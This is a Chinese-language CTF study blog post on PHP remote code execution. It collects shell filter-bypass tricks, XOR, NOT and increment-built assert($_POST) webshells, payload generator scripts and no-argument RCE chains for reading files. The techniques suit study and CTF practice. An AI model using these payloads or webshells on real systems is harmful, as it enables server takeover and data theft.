rce考点总结
[TOC]
前言
最近准备把所学的漏洞全部仔细的整理一遍,一、是为了让自己对这些知识点有些全面系统的认识 二、是写题的时候可以直接翻博客不需要再去找那么多的文章,此外也希望对以后社团的学弟学妹有些帮助,这些文章的内容只有一部分为我自己写的,很多是搬运师傅的文章,因为很多师傅的文章写的已经十分完美,特别是p神,很多年前发表的东西现在仍不过时。我所做的主要是把文章整合在一起,对漏洞的考点有更加全面的认识!
什么是rce
什么是rce?
既远程代码/命令执行,能够让攻击者直接向后台服务器远程写入服务器系统命令或者代码,从而控制后台系统。
命令执行:直接执行我们输入的恶意命令
代码执行:直接执行我们所输入的恶意代码
漏洞成因
命令执行漏洞形成的原因是web服务器对用户输入的命令安全监测不足,导致恶意代码被执行。
定义:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。
永远不要相信用户的输入!
漏洞危害
继承Web服务程序的权限去执行系统命令或读写文件
反弹shell
控制整个网站甚至控制服务器
进一步内网渗透
常见函数
命令执行
system() 输出并返回最后一行shell结果
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面
shell_exec() 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上(替换system)
代码执行
eval()函数:用来执行一个字符串表达式,并返回表达式的值
assert()函数:在php语言中是用来判断一个表达式是否成立,返回true or false,但是字符串参数会被执行
利用技巧
我们需要注意,当我们正常输入的时候,在大多数情况下是不会触发这一漏洞的,我们需要一些小tips。
常见技巧:
一、常见管道符:
‘|’ 直接执行后面的语句
‘||’ 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
‘&’ 前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
Linux:
Linux系统包含了windows系统上面四个之外,还多了一个 ‘;’ 这个作用和 ‘&’ 作用相同
二、空格绕过(空格被过滤):
< -- 重定向,如cat<flag.php
<> -- 重定向,如cat<>flag.php
%09 -- 需要php环境,如cat%09flag.php
${IFS} -- 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
$IFS$9 -- 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
三、黑名单绕过
1、拼接
a=c;b=at;c=flag;$a$b $c
a=c;b=at;c=heb;d=ic;ab{c}{d}
2、base64编码
echo MTIzCg==|base64 -d 其将会打印123
echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag
echo "Y2F0IC9mbGFn"|base64 -d|sh ==>cat /flag
3、hex编码
echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag
4、单引号、双引号,反单引号绕过
ca''t flag 或ca""t flag
ca''t te""st.php
c``a``t /etc/passwd
5、反斜杠绕过
ca\t fl\ag
cat te\st.php
6、绕过ip中的句点
网络地址可以转换成数字地址,比如127.0.0.1可以转化为2130706433。
可以直接访问http://2130706433或者http://0x7F000001,这样就可以绕过.的ip过滤。
在线转换地址:数字转IP地址 IP地址转数字 域名转数字IP
7、利用oct编码(八进制)绕过
$(printf "\154\163") //ls命令
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
在线转换网站:https://photo333.com/text-to-octal-zh.php
8、'/'被过滤绕过
可利用';'拼接命令绕过
cd ..;cd ..;cd ..;cd ..;cd etc;cat passwd (也可以利用第七步的八进制绕过)
9、通配符绕过
列如cat /passwd:
??? /e??/?a????
cat /e*/pa*
10、利用未初始化变量$u绕过
cat$u /etc/passwd
cat /etc$u/passwd
11、glob通配符
cat t[a-z]st
cat t{a,b,c,d,e,f}st
12、利用PATH绕过
可以通过截断和拼接来得到我们想要的来getshell
${PATH:5:1} //l
${PATH:2:1} //s
${PATH:5:1}${PATH:2:1} //拼接后是ls,执行命令
${PATH:5:1}s //拼接后是ls,执行命令
四、绕过长度限制
1,通过>来创建文件
>flag.txt
2,通过>将命令结果存入文件中
echo "hello hacker" > flag.txt
3,>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容
echo "hello hacker" >> flag.txt
4、Linux中命令换行
在Linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加\,可以将一条命令写在多行。
比如:cat flag
ca\
t\
fla\
g.txt
将命令一条一条输入一个文本中再执行:
root@kali:~# echo "ca\\">cmd
root@kali:~# echo "t\\">>cmd
root@kali:~# echo " fl\\">>cmd
root@kali:~# echo "ag">>cmd
root@kali:~# cat cmd
ca\
t\
fl\
ag
root@kali:~# sh cmd
this is your flag
五、各种读文件命令
cat--由第一行开始显示内容,并将所有内容输出
tac--从最后一行倒序显示内容,并将所有内容输出
more-- 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head-- 只显示头几行
tail --只显示最后几行
nl --类似于cat -n,显示时输出行号
tailf-- 类似于tail -f
vim --使用vim工具打开文本
vi --使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出
上面介绍的这些方法可以解决大部分ctf题目,但是我们会经常遇到更加严苛的过滤,我们就要介绍接下来的一些题目类型和解决方法
无数字字母rce
源码
我们以一道经典的题目为例:
[极客大挑战 2019]RCE ME
题目代码:
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
取反绕过
php7
脚本:
<?php
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
脚本使用的时候注意有些()不可以一起转进去,我们先来测试一下
http://127.0.0.1/index.php?code=(~%8f%97%8f%96%91%99%90)(); //我们不需要参数只是测试,把后面的取反符号去掉即可
我们现在来构造可以执行命令的字符串
http://480abdfe-af61-4f9a-bfdf-2e0227fda03b.node4.buuoj.cn:81/?code=(~%8c%86%8c%8b%9a%92)(~%93%8c); //system('ls')
按理说没问题的哦,我本地是可以的,不过在buu没有执行成功,不过问题不大,还有很多种方法
这题可以通过:
assert(eval($_POST[sakura]))
还是利用取反构造
(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%9E%94%8A%8D%9E%A2%D6);
这里尝试执行命令,同样没反应,那么这题应该是没有回显的,但是我们可以使用蚁剑去连接!
这题到这里并没有结束,不过后面并不是我们需要关注的重点,我们就先忽略吧!
异或绕过
php7
由于buu的题目无回显,我们直接把源码搭建在本地进行测试:
给出两个脚本:
yihuo.php
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
yihuo.py
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
php运行后生成一个txt文档,包含所有可见字符的异或构造结果。
接着运行python脚本即可。
运行结果
("%0b%08%0b%09%0e%06%0f"^"%7b%60%7b%60%60%60%60")(); //phpinfo()
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%08%0f%01%0d%09"^"%7f%60%60%60%60%60"); //system(whoami)
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b"); //system(ls)
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%0c%01%07"^"%60%60%7c%20%2f%60%60%60%60"); //system(cat /flag)
二进制或绕过
php7
原理是一样的,只需要在上面的脚本上稍加改动即可
or.php
<?php
/* author yu22x */
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
or.py
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("or_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
("%10%08%10%09%0e%06%0f"|"%60%60%60%60%60%60%60")(); //phpinfo()
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%17%08%0f%01%0d%09"|"%60%60%60%60%60%60"); //system(whoami)
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60"); //system(ls)
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%00%06%0c%01%07"|"%60%60%60%20%2f%60%60%60%60"); //cat /flag
上传临时文件
.
或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file
的意思就是用bash执行file文件中的命令。
用. file
执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.
来执行它了吗?
这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母。
第二个难题接踵而至,执行. /tmp/phpXXXXXX
,也是有字母的。此时就可以用到Linux下的glob通配符:
*
可以代替0个及以上任意字符?
可以代表1个任意字符
那么,/tmp/phpXXXXXX
就可以表示为/*/?????????
或/???/?????????
。
但我们尝试执行. /???/?????????
,却得到如下错误:
这是因为,能够匹配上/???/?????????
这个通配符的文件有很多,我们可以列出来:
可见,我们要执行的/tmp/phpcjggLC
排在倒数第二位。然而,在执行第一个匹配上的文件(即/bin/run-parts
)的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。
思路又陷入了僵局,虽然方向没错。
深入理解glob通配符
大部分同学对于通配符,可能知道的都只有*
和?
。但实际上,阅读Linux的文档( http://man7.org/linux/man-pages/man7/glob.7.html ),可以学到更多有趣的知识点。
其中,glob支持用[^x]
的方法来构造“这个位置不是字符x”。那么,我们用这个姿势干掉/bin/run-parts
:
排除了第4个字符是-
的文件,同样我们可以排除包含.
的文件:
现在就剩最后三个文件了。但我们要执行的文件仍然排在最后,但我发现这三个文件名中都不包含特殊字符,那么这个方法似乎行不通了。
继续阅读glob的帮助,我发现另一个有趣的用法:
就跟正则表达式类似,glob支持利用[0-9]
来表示一个范围。
我们再来看看之前列出可能干扰我们的文件:
所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。
翻开ascii码表,可见大写字母位于@
与[
之间:
那么,我们可以利用[@-[]
来表示大写字母:
显然这一招是管用的。
当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。
最后,我传入的code为?><?=
. /???/????????[@-[];?>
,发送数据包如下:
可写一个脚本:
#coding:utf-8
#author yu22x
import requests
url="http://xxx/test.php?code=?><?=`. /???/????????[@-[]`;?>"
files={'file':'cat f*'}
response=requests.post(url,files=files)
html = response.text
print(html)
构造无数字字母webshell
环境:php5
php5中assert是一个函数,我们可以通过$f='assert';$f(...);
这样的方法来动态执行任意代码。
但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。
下文为了方便起见,使用PHP5作为环境
异或webshell
这是最简单、最容易想到的方法。在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
得到如下的结果(因为其中存在很多不可打印字符,所以我用url编码表示了):
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
传入代码:
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);
执行结果如下:
取反webshell
用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}
的结果是"\x8c"
,其取反即为字母s
:
可构造出webshell
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
直接传入:
$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;$____($_[$__]);
使用时候进行下url编码
%24__%3d('%3e'%3e'%3c')%2b('%3e'%3e'%3c')%3b%24_%3d%24__%2f%24__%3b%24____%3d''%3b%24___%3d%22%e7%9e%b0%22%3b%24____.%3d~(%24___%7b%24_%7d)%3b%24___%3d%22%e5%92%8c%22%3b%24____.%3d~(%24___%7b%24__%7d)%3b%24___%3d%22%e5%92%8c%22%3b%24____.%3d~(%24___%7b%24__%7d)%3b%24___%3d%22%e7%9a%84%22%3b%24____.%3d~(%24___%7b%24_%7d)%3b%24___%3d%22%e5%8d%8a%22%3b%24____.%3d~(%24___%7b%24_%7d)%3b%24___%3d%22%e5%a7%8b%22%3b%24____.%3d~(%24___%7b%24__%7d)%3b%24_____%3d'_'%3b%24___%3d%22%e4%bf%af%22%3b%24_____.%3d~(%24___%7b%24__%7d)%3b%24___%3d%22%e7%9e%b0%22%3b%24_____.%3d~(%24___%7b%24__%7d)%3b%24___%3d%22%e6%ac%a1%22%3b%24_____.%3d~(%24___%7b%24_%7d)%3b%24___%3d%22%e7%ab%99%22%3b%24_____.%3d~(%24___%7b%24_%7d)%3b%24_%3d%24%24_____%3b%24____(%24_%5b%24__%5d)%3b
这个答案还利用了PHP的弱类型特性。因为要获取'和'{2}
,就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2
,也就是('>'>'<')+('>'>'<')==2
。
自增webshell
7.0.12以上版本不可使用
那么,如果不用位运算这个套路,能不能搞定这题呢?有何不可。
这就得借助PHP的一个小技巧,先看文档: http://php.net/manual/zh/language.operators.increment.php
也就是说,'a'++ => 'b'
,'b'++ => 'c'
… 所以,我们只要能拿到一个变量,其值为a
,通过自增操作即可获得a-z中所有字符。
那么,如何拿到一个值为字符串’a’的变量呢?
巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
:
再取这个字符串的第一个字母,就可以获得’A’了。
利用这个技巧,我编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($_POST[_])
,无需获取小写a):
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
可直接传入
//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
url编码后再使用
%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b'!'%3d%3d'%40'%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24____%3d'_'%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24_%3d%24%24____%3b%24___(%24_%5b_%5d)%3b
然后post传入 _=phpinfo();
无参数rce
概念
无参数RCE,其实就是通过没有参数的函数达到命令执行的目的。
没有参数的函数什么意思?一般该类题目代码如下(或类似):
<?php
highlight_file(__FILE__);
error_reporting(0);
header("Content-Type: text/html; charset=utf-8");
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
先来解读下代码:
如果';'===preg_replace(...),那么就执行exp传递的命令
\ : 转义字符不多说了
[a-z,_]+ : [a-z,_]匹配小写字母和下划线 +表示1到多个
(?R)? : (?R)代表当前表达式,就是这个(/[a-z,_]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d())))
简单说来就是:这串代码检查了我们通过GET方式传入的exp参数的值,如果传进去的值是传进去的值是字符串接一个(),那么字符串就会被替换为空。如果(递归)替换后的字符串只剩下;,那么我们传进去的 exp 就会被 eval 执行。比如我们传入一个 phpinfo();,它被替换后就只剩下;,那么根据判断条件就会执行phpinfo();。
(?R)?能匹配的只有a(); a(b()); a(b(c()));这种类型的。比如传入a(b(c()));,第一次匹配后,就剩a(b());,第二次匹配后,a();,第三次匹配后就只剩下;了,最后a(b(c()));就会被eval执行。
常用函数
先来整理下经常需要用到的函数吧,后面会说具体使用:
目录操作:
getchwd() //函数返回当前工作目录。
scandir() //函数返回指定目录中的文件和目录的数组。
dirname() //函数返回路径中的目录部分。
chdir() //函数改变当前的目录。
数组操作:
pos() //current() 的别名
reset() //将数组的内部指针指向第一个单元
end() //将内部指针指向数组中的最后一个元素,并输出。
next() //函数将内部指针指向数组中的下一个元素,并输出。
prev() //将数组内部指针倒回一位。
each() //返回当前元素的键名和键值,并将内部指针向前移动
array_reverse()以相反的元素顺序返回数组。
array_rand() 函数返回数组中的随机键名(也就是下标),或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回。
读取文件操作:
readfile() //输出一个文件。
readgzfile()
show_source()
highlight_file() //打印输出或者返回 filename 文件中语法高亮版本的代码。
file_get_contents ()
其它函数:
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值。
current(localeconv())永远都是个点
chr() 函数从指定的 ASCII 值返回字符。
hex2bin() — 转换十六进制字符串为二进制字符串。
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
phpversion()返回php版本,如7.3.5
floor(phpversion())返回7
sqrt(floor(phpversion()))返回2.6457513110646
tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回.
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))扫描当前目录
next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))返回..
//floor():舍去法取整,sqrt():平方根,tan():正切值,cosh():双曲余弦,sinh():双曲正弦,ceil():进一法取整
chr(ord(hebrevc(crypt(phpversion()))))`返回`. //hebrevc(crypt(arg))可以随机生成一个hash值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过ord chr只取第一个字符
//crypt():单向字符串散列,返回散列后的字符串或一个少于 13 字符的字符串,从而保证在失败时与盐值区分开来。
//hebrevc():将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符,返回视觉顺序字符串。
dirname() & chdir()
这个方法并不可以rce,只是可以完成读取文件的操作,事实上在很多情况下已经够用了
想读文件,就必须进行目录遍历,没有参数,怎么进行目录遍历呢?
首先,我们可以利用getcwd()
获取当前目录
var_dump(getcwd());
那么怎么进行当前目录的目录遍历呢?
这里用scandir()
即可
var_dump(scandir(getcwd()));
如果getcwd()无法使用呢?
我们知道localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
我们可构造出:
var_dump(scandir(current(localeconv()))); //var_dump也可以用print_r代替
var_dump(scandir(pos(localeconv())));
var_dump(scandir(reset(localeconv())));
var_dump(scandir(chr(current(localtime(time()))))); //chr()函数以256为一个周期,所以chr(46),chr(302),chr(558)都等于"."所以使用chr(time()),一个周期必定出现一次"." 我爆破了1w次,雀氏有可行性哈哈,不过雀氏有点小离谱
var_dump(scandir(chr(ord(hebrevc(crypt(time())))))); //hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 "."(小概率) 然后通过chr(ord())只取第一个字符
var_dump(scandir(chr(ord(strrev(crypt(serialize(array())))))));
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd())); //设置当前工作路径为根目录,然后遍历此目录
如何进行目录上跳呢?我们用dirname()
即可
var_dump(scandir(dirname(getcwd())));
那么怎么更改我们的当前目录呢?使用chdir
chdir(dirname(getcwd())); //将当前目录设置为上一级目录
搭配chadir来读取文件:
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
再给出其它一些读取文件的操作:
当前目录:highlight_file(array_rand(array_flip(scandir(getcwd()))));
上级目录文件:highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
以上两个都是随机获取的其实,看脸,它们的作用都是随机选取一个根目录的文件进行读取
